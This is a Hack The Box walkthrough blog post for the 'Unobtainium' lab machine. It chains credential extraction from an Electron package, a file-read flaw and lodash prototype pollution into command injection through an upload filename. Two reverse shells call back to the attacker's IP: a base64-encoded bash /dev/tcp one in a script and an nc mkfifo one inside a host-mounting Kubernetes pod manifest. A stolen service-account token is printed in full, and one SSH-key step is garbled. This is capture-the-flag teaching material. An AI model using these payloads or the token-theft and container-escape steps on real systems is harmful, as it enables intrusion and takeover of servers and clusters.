Hackthebox - Unobtainium

Summary

Unobtainium is a Hackthebox hard linux machine created by felamos.

Initial Enumeration

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# Nmap 7.91 scan initiated Wed Apr 14 15:03:29 2021 as: nmap -sC -sV -oN nmap/unobtainium 10.129.113.113
Nmap scan report for 10.129.113.113
Host is up (0.16s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA)
| 256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA)
|_ 256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Wed, 14 Apr 2021 04:04:13 GMT
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Wed, 14 Apr 2021 04:04:12 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Wed, 14 Apr 2021 04:04:12 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.113.113, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2021-04-12T06:02:40
|_Not valid after: 2022-04-13T06:02:40
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
31337/tcp open http Node.js Express framework
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.91%T=SSL%I=7%D=4/14%Time=6076B709%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,1FF,"HTTP/1\.0\x20403\x20Forbidden\r\nCache-Control:\x20
SF:no-cache,\x20private\r\nContent-Type:\x20application/json\r\nX-Content-
SF:Type-Options:\x20nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x203082aa7f
SF:-e4b1-444a-a726-829587cd9e39\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20c
SF:4131e14-5fda-4a46-8349-09ccbed9efdd\r\nDate:\x20Wed,\x2014\x20Apr\x2020
SF:21\x2004:04:12\x20GMT\r\nContent-Length:\x20185\r\n\r\n{\"kind\":\"Stat
SF:us\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"mes
SF:sage\":\"forbidden:\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20ge
SF:t\x20path\x20\\\"/\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code
SF:\":403}\n")%r(HTTPOptions,203,"HTTP/1\.0\x20403\x20Forbidden\r\nCache-C
SF:ontrol:\x20no-cache,\x20private\r\nContent-Type:\x20application/json\r\
SF:nX-Content-Type-Options:\x20nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\
SF:x203082aa7f-e4b1-444a-a726-829587cd9e39\r\nX-Kubernetes-Pf-Priorityleve
SF:l-Uid:\x20c4131e14-5fda-4a46-8349-09ccbed9efdd\r\nDate:\x20Wed,\x2014\x
SF:20Apr\x202021\x2004:04:12\x20GMT\r\nContent-Length:\x20189\r\n\r\n{\"ki
SF:nd\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Fail
SF:ure\",\"message\":\"forbidden:\x20User\x20\\\"system:anonymous\\\"\x20c
SF:annot\x20options\x20path\x20\\\"/\\\"\",\"reason\":\"Forbidden\",\"deta
SF:ils\":{},\"code\":403}\n")%r(FourOhFourRequest,21A,"HTTP/1\.0\x20403\x2
SF:0Forbidden\r\nCache-Control:\x20no-cache,\x20private\r\nContent-Type:\x
SF:20application/json\r\nX-Content-Type-Options:\x20nosniff\r\nX-Kubernete
SF:s-Pf-Flowschema-Uid:\x203082aa7f-e4b1-444a-a726-829587cd9e39\r\nX-Kuber
SF:netes-Pf-Prioritylevel-Uid:\x20c4131e14-5fda-4a46-8349-09ccbed9efdd\r\n
SF:Date:\x20Wed,\x2014\x20Apr\x202021\x2004:04:13\x20GMT\r\nContent-Length
SF::\x20212\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\"
SF::{},\"status\":\"Failure\",\"message\":\"forbidden:\x20User\x20\\\"syst
SF:em:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"/nice\x20ports,/Trinit
SF:y\.txt\.bak\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}
SF:\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 14 15:05:43 2021 -- 1 IP address (1 host up) scanned in 134.97 seconds

Web

Downloading the package and extracting it we get an asar file

1
$ dpkg-deb -xv unobtainium_1.0.0_amd64.deb .

and we find a asar file in that extracting that

1
$ asar extract app.asar loot

Looking in that we find a credential as

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$(document).ready(function(){
$("#but_submit").click(function(){
var message = $("#message").val().trim();
$.ajax({
url: 'http://unobtainium.htb:31337/',
type: 'put',
dataType:'json',
contentType:'application/json',
processData: false,
data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"text": message}}),
success: function(data) {
//$("#output").html(JSON.stringify(data));
$("#output").html("Message has been sent!");
}
});
});
});

Checking the TODO API we get

some content:

1
$ curl -X POST http://unobtainium.htb:31337/todo --header "Content-Type: application/json" --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}'
1
{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}

Also running wfuzz we get upload route

Also manually testing we find LFI in todo

1
$ curl -X POST http://unobtainium.htb:31337/todo --header "Content-Type: application/json" --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "index.js"}'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

const users = [
{ name: 'felamos', password: 'Winter2021' },
{ name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true },
];

let messages = [];
let lastId = 1;

function findUser(auth) {
return users.find((u) =>
u.name === auth.name &&
u.password === auth.password);
}

app.use(bodyParser.json());

app.get('/', (req, res) => {
res.send(messages);
});

app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});

if (!user) {
res.status(403).send({ ok: false, error: 'Access denied' });
return;
}

const message = {
icon: '__',
};

_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});

messages.push(message);
res.send({ ok: true });
});

app.delete('/', (req, res) => {
const user = findUser(req.body.auth || {});

if (!user || !user.canDelete) {
res.status(403).send({ ok: false, error: 'Access denied' });
return;
}

messages = messages.filter((m) => m.id !== req.body.messageId);
res.send({ ok: true });
});
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ ok: false, error: 'Access denied' });
return;
}


filename = req.body.filename;
root.upload("./", filename, true);
res.send({ ok: true, Uploaded_File: filename });
});

app.post('/todo', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ ok: false, error: 'Access denied' });
return;
}

filename = req.body.filename;
testFolder = "/usr/src/app";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ ok: true, content: buffer });
}
});
});

app.listen(3000);
console.log('Listening on port 3000...');

Checking the code we see we need to have canUpload permission to upload and get RCE via google-cloud

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash

URL="http://unobtainium.htb:31337"

## Proto Injection to get Upload Access
curl --location --request PUT $URL/ \
--header 'Content-Type: application/json' \
--data-raw '{
"auth": {
"name": "felamos",
"password": "Winter2021"
},
"message": {
"__proto__": {
"canUpload": true
}
}
}'

## RCE To Get Shell
curl --location --request POST $URL/upload \
--header 'Content-Type: application/json' \
--data-raw '{
"auth": {
"name": "felamos",
"password": "Winter2021"
},
"filename": ";echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzQ0NDQgMD4mMQo= | base64 -d | bash"
}'

using this we get a shell on the box as root in the container and we can grab user.txt from

1
root@webapp-deployment-5d764566f4-lrpt9:~# cat user.txt
1
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"

using kubectl we can get all namespaces

1
2
3
4
5
6
$ kubectl get namespaces
default Active 87d
dev Active 86d
kube-node-lease Active 87d
kube-public Active 87d
kube-system Active 87d
1
2
3
4
5
6
7
8
root@webapp-deployment-5d764566f4-mbprj:/tmp/test# kubectl auth can-i --list -n dev
<4-mbprj:/tmp/test# kubectl auth can-i --list -n dev
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get list]
pods [] [] [get list]
...[snip]..

and checking pods

1
2
3
4
5
6
root@webapp-deployment-5d764566f4-mbprj:/tmp/test# kubectl get po -n dev -owide
<566f4-mbprj:/tmp/test# kubectl get po -n dev -owide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
devnode-deployment-cd86fb5c-6ms8d 1/1 Running 27 86d 172.17.0.9 unobtainium <none> <none>
devnode-deployment-cd86fb5c-mvrfz 1/1 Running 28 86d 172.17.0.7 unobtainium <none> <none>
devnode-deployment-cd86fb5c-qlxww 1/1 Running 28 86d 172.17.0.10 unobtainium <none> <none>

checking desribe of a pod we see it is listening on port 3000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@webapp-deployment-5d764566f4-mbprj:/tmp/test# kubectl describe po devnode-deployment-cd86fb5c-qlxww -n dev
<escribe po devnode-deployment-cd86fb5c-qlxww -n dev
Name: devnode-deployment-cd86fb5c-qlxww
Namespace: dev
Priority: 0
Node: unobtainium/10.129.113.131
Start Time: Sun, 17 Jan 2021 18:16:21 +0000
Labels: app=devnode
pod-template-hash=cd86fb5c
Annotations: <none>
Status: Running
IP: 172.17.0.10
IPs:
IP: 172.17.0.10
Controlled By: ReplicaSet/devnode-deployment-cd86fb5c
Containers:
devnode:
Container ID: docker://030addd8e9aa92d736d95aaada09743e91e0d4480263fdeeb34231da7c5ce01e
Image: localhost:5000/node_server
Image ID: docker-pullable://localhost:5000/node_server@sha256:f3bfd2fc13c7377a380e018279c6e9b647082ca590600672ff787e1bb918e37c
Port: 3000/TCP

...[snip]...

Using shell.sh with the pod ip and port we can get a shell in a dev pod

uploading and executing kubectl again we see

1
2
3
4
5
6
7
root@devnode-deployment-cd86fb5c-qlxww:/tmp/test# kubectl -n kube-system auth can-i --list
</tmp/test# kubectl -n kube-system auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get list]
...[snip]...

we see we can list kube-system secret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root@devnode-deployment-cd86fb5c-qlxww:/tmp/test# kubectl -n kube-system get secrets
NAME TYPE DATA AGE
attachdetach-controller-token-5dkkr kubernetes.io/service-account-token 3 87d
bootstrap-signer-token-xl4lg kubernetes.io/service-account-token 3 87d
c-admin-token-tfmp2 kubernetes.io/service-account-token 3 86d
certificate-controller-token-thnxw kubernetes.io/service-account-token 3 87d
clusterrole-aggregation-controller-token-scx4p kubernetes.io/service-account-token 3 87d
coredns-token-dbp92 kubernetes.io/service-account-token 3 87d
cronjob-controller-token-chrl7 kubernetes.io/service-account-token 3 87d
daemon-set-controller-token-cb825 kubernetes.io/service-account-token 3 87d
default-token-l85f2 kubernetes.io/service-account-token 3 87d
deployment-controller-token-cwgst kubernetes.io/service-account-token 3 87d
disruption-controller-token-kpx2x kubernetes.io/service-account-token 3 87d
endpoint-controller-token-2jzkv kubernetes.io/service-account-token 3 87d
endpointslice-controller-token-w4hwg kubernetes.io/service-account-token 3 87d
endpointslicemirroring-controller-token-9qvzz kubernetes.io/service-account-token 3 87d
expand-controller-token-sc9fw kubernetes.io/service-account-token 3 87d
generic-garbage-collector-token-2hng4 kubernetes.io/service-account-token 3 87d
horizontal-pod-autoscaler-token-6zhfs kubernetes.io/service-account-token 3 87d
job-controller-token-h6kg8 kubernetes.io/service-account-token 3 87d
kube-proxy-token-jc8kn kubernetes.io/service-account-token 3 87d
namespace-controller-token-2klzl kubernetes.io/service-account-token 3 87d
node-controller-token-k6p6v kubernetes.io/service-account-token 3 87d
persistent-volume-binder-token-fd292 kubernetes.io/service-account-token 3 87d
pod-garbage-collector-token-bjmrd kubernetes.io/service-account-token 3 87d
pv-protection-controller-token-9669w kubernetes.io/service-account-token 3 87d
pvc-protection-controller-token-w8m9r kubernetes.io/service-account-token 3 87d
replicaset-controller-token-bzbt8 kubernetes.io/service-account-token 3 87d
replication-controller-token-jz8k8 kubernetes.io/service-account-token 3 87d
resourcequota-controller-token-wg7rr kubernetes.io/service-account-token 3 87d
root-ca-cert-publisher-token-cnl86 kubernetes.io/service-account-token 3 87d
service-account-controller-token-44bfm kubernetes.io/service-account-token 3 87d
service-controller-token-pzjnq kubernetes.io/service-account-token 3 87d
statefulset-controller-token-z2nsd kubernetes.io/service-account-token 3 87d
storage-provisioner-token-tk5k5 kubernetes.io/service-account-token 3 87d
token-cleaner-token-wjvf9 kubernetes.io/service-account-token 3 87d
ttl-controller-token-z87px kubernetes.io/service-account-token 3 87d

we grab daemon-set-controller-token as that have create pod access

1
2
3
4
5
6
7
8
9
10

$ kubectl get secrets -n kube-system daemon-set-controller-token-cb825 -oyaml

apiVersion: v1
data:
... [snip]...
token: ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNklrcE9kbTlpWDFaRVRFSjJRbFpGYVZwQ2VIQjZUakJ2YVdORWFsbHRhRTFVTFhkQ05XWXRiMkpXVXpnaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKa1lXVnRiMjR0YzJWMExXTnZiblJ5YjJ4c1pYSXRkRzlyWlc0dFkySTRNalVpTENKcmRXSmxjbTVsZEdWekxtbHZMM05sY25acFkyVmhZMk52ZFc1MEwzTmxjblpwWTJVdFlXTmpiM1Z1ZEM1dVlXMWxJam9pWkdGbGJXOXVMWE5sZEMxamIyNTBjbTlzYkdWeUlpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVkV2xrSWpvaU5UaGhOVEF4TkdFdE5XSmxNUzAwTVRRMExUZ3lOVFl0WldKaVpUTmlNR1F6WldabUlpd2ljM1ZpSWpvaWMzbHpkR1Z0T25ObGNuWnBZMlZoWTJOdmRXNTBPbXQxWW1VdGMzbHpkR1Z0T21SaFpXMXZiaTF6WlhRdFkyOXVkSEp2Ykd4bGNpSjkuU3ViZTdRbjZoZ1FJX0U5S1JLT2dTQ3pCbmZiaXZDQl9NX25VWEFULUh4aF9pOVpMcUdOZVVsRnpnbmJIcEdLTWFLb3loTTAxcmtNYXpRa25kUHFfUnZmRkJTcTI3Wkt4UEVWWlc2bFQweDNwTjNtNGFIYmIwWm9ZUjZtTTZwcFI0dTJhWWdCNmpwUWN4N2pra3liLXd6bExISGlnNkJJYnBhc0puQUZjMlNvYWRHRWNTZ2hBU0d3enFITVJiQlZ0bHRNY19JeEVzWmd4TmNpSTRlaGFrUFNjNFZKUTFhaDZLN3hMdUpEWEpmOFJZejl5VnB3WlhVZUU2eGhsTnFETnpsWERhR1hJbVA3UWRUU0k1SWNDb2U2aGJqbm9KSEtJTjFvaWpRMXNXUWJ1RzZkMFB4amVFRWlsS1V0ZnV3Y1dDUlNVUDVReDFMSjYtR0c2VGN3aUZn

...[snip]...

and use

1
2

$ echo ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNklrcE9kbTlpWDFaRVRFSjJRbFpGYVZwQ2VIQjZUakJ2YVdORWFsbHRhRTFVTFhkQ05XWXRiMkpXVXpnaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKa1lXVnRiMjR0YzJWMExXTnZiblJ5YjJ4c1pYSXRkRzlyWlc0dFkySTRNalVpTENKcmRXSmxjbTVsZEdWekxtbHZMM05sY25acFkyVmhZMk52ZFc1MEwzTmxjblpwWTJVdFlXTmpiM1Z1ZEM1dVlXMWxJam9pWkdGbGJXOXVMWE5sZEMxamIyNTBjbTlzYkdWeUlpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVkV2xrSWpvaU5UaGhOVEF4TkdFdE5XSmxNUzAwTVRRMExUZ3lOVFl0WldKaVpUTmlNR1F6WldabUlpd2ljM1ZpSWpvaWMzbHpkR1Z0T25ObGNuWnBZMlZoWTJOdmRXNTBPbXQxWW1VdGMzbHpkR1Z0T21SaFpXMXZiaTF6WlhRdFkyOXVkSEp2Ykd4bGNpSjkuU3ViZTdRbjZoZ1FJX0U5S1JLT2dTQ3pCbmZiaXZDQl9NX25VWEFULUh4aF9pOVpMcUdOZVVsRnpnbmJIcEdLTWFLb3loTTAxcmtNYXpRa25kUHFfUnZmRkJTcTI3Wkt4UEVWWlc2bFQweDNwTjNtNGFIYmIwWm9ZUjZtTTZwcFI0dTJhWWdCNmpwUWN4N2pra3liLXd6bExISGlnNkJJYnBhc0puQUZjMlNvYWRHRWNTZ2hBU0d3enFITVJiQlZ0bHRNY19JeEVzWmd4TmNpSTRlaGFrUFNjNFZKUTFhaDZLN3hMdUpEWEpmOFJZejl5VnB3WlhVZUU2eGhsTnFETnpsWERhR1hJbVA3UWRUU0k1SWNDb2U2aGJqbm9KSEtJTjFvaWpRMXNXUWJ1RzZkMFB4amVFRWlsS1V0ZnV3Y1dDUlNVUDVReDFMSjYtR0c2VGN3aUZn | base64 -d

and get the daemon-set token as

1
eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJkYWVtb24tc2V0LWNvbnRyb2xsZXItdG9rZW4tY2I4MjUiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGFlbW9uLXNldC1jb250cm9sbGVyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiNThhNTAxNGEtNWJlMS00MTQ0LTgyNTYtZWJiZTNiMGQzZWZmIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOmRhZW1vbi1zZXQtY29udHJvbGxlciJ9.Sube7Qn6hgQI_E9KRKOgSCzBnfbivCB_M_nUXAT-Hxh_i9ZLqGNeUlFzgnbHpGKMaKoyhM01rkMazQkndPq_RvfFBSq27ZKxPEVZW6lT0x3pN3m4aHbb0ZoYR6mM6ppR4u2aYgB6jpQcx7jkkyb-wzlLHHig6BIbpasJnAFc2SoadGEcSghASGwzqHMRbBVtltMc_IxEsZgxNciI4ehakPSc4VJQ1ah6K7xLuJDXJf8RYz9yVpwZXUeE6xhlNqDNzlXDaGXImP7QdTSI5IcCoe6hbjnoJHKIN1oijQ1sWQbuG6d0PxjeEEilKUtfuwcWCRSUP5Qx1LJ6-GG6TcwiFg

and using the daemon-set controller we can create a pod

using the token i checked for images and saw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
- apiVersion: v1
kind: Pod
metadata:
annotations:
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"backup-pod","namespace":"kube-system"},"spec":{"containers":[{"image":"localhost:5000/dev-alpine","name":"backup-pod"}]}}
creationTimestamp: "2021-01-18T16:34:56Z"
name: backup-pod
namespace: kube-system
resourceVersion: "78264"
uid: 4736db8d-8ca1-4e89-92a5-603b43e882a8
spec:
containers:
- image: localhost:5000/dev-alpine
imagePullPolicy: Always
name: backup-pod

pod image

1
kubectl create -f ./pod.yaml --token  eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJkYWVtb24tc2V0LWNvbnRyb2xsZXItdG9rZW4tY2I4MjUiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGFlbW9uLXNldC1jb250cm9sbGVyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiNThhNTAxNGEtNWJlMS00MTQ0LTgyNTYtZWJiZTNiMGQzZWZmIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOmRhZW1vbi1zZXQtY29udHJvbGxlciJ9.Sube7Qn6hgQI_E9KRKOgSCzBnfbivCB_M_nUXAT-Hxh_i9ZLqGNeUlFzgnbHpGKMaKoyhM01rkMazQkndPq_RvfFBSq27ZKxPEVZW6lT0x3pN3m4aHbb0ZoYR6mM6ppR4u2aYgB6jpQcx7jkkyb-wzlLHHig6BIbpasJnAFc2SoadGEcSghASGwzqHMRbBVtltMc_IxEsZgxNciI4ehakPSc4VJQ1ah6K7xLuJDXJf8RYz9yVpwZXUeE6xhlNqDNzlXDaGXImP7QdTSI5IcCoe6hbjnoJHKIN1oijQ1sWQbuG6d0PxjeEEilKUtfuwcWCRSUP5Qx1LJ6-GG6TcwiFg

so

we can get root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
apiVersion: v1
kind: Pod
metadata:
name: some-pod
namespace: default
spec:
containers:
- name: web
image: localhost:5000/dev-alpine
command: ["/bin/sh"]
args: ["-c", 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 4444 >/tmp/f; sleep 10000000']
volumeMounts:
- mountPath: /root/
name: root-flag
volumes:
- hostPath:
path: /
type: ""
name: root-flag
```


which get us a shell.

as soon as i got a shell


i ran

$ chroot /root
$ mkdir -p /root/.ssh
$ echo ‘ >> /root/.ssh

1
2
3
4
5
6

and did

```bash
$ ssh -i private root@unobtainium.htb

and got a root shell.

1
2
3
4
5
root@unobtainium:~# whoami;id;hostname;date;
root
uid=0(root) gid=0(root) groups=0(root)
unobtainium
Wednesday 14 April 2021 10:03:27 AM BST

Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/unobtainium/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.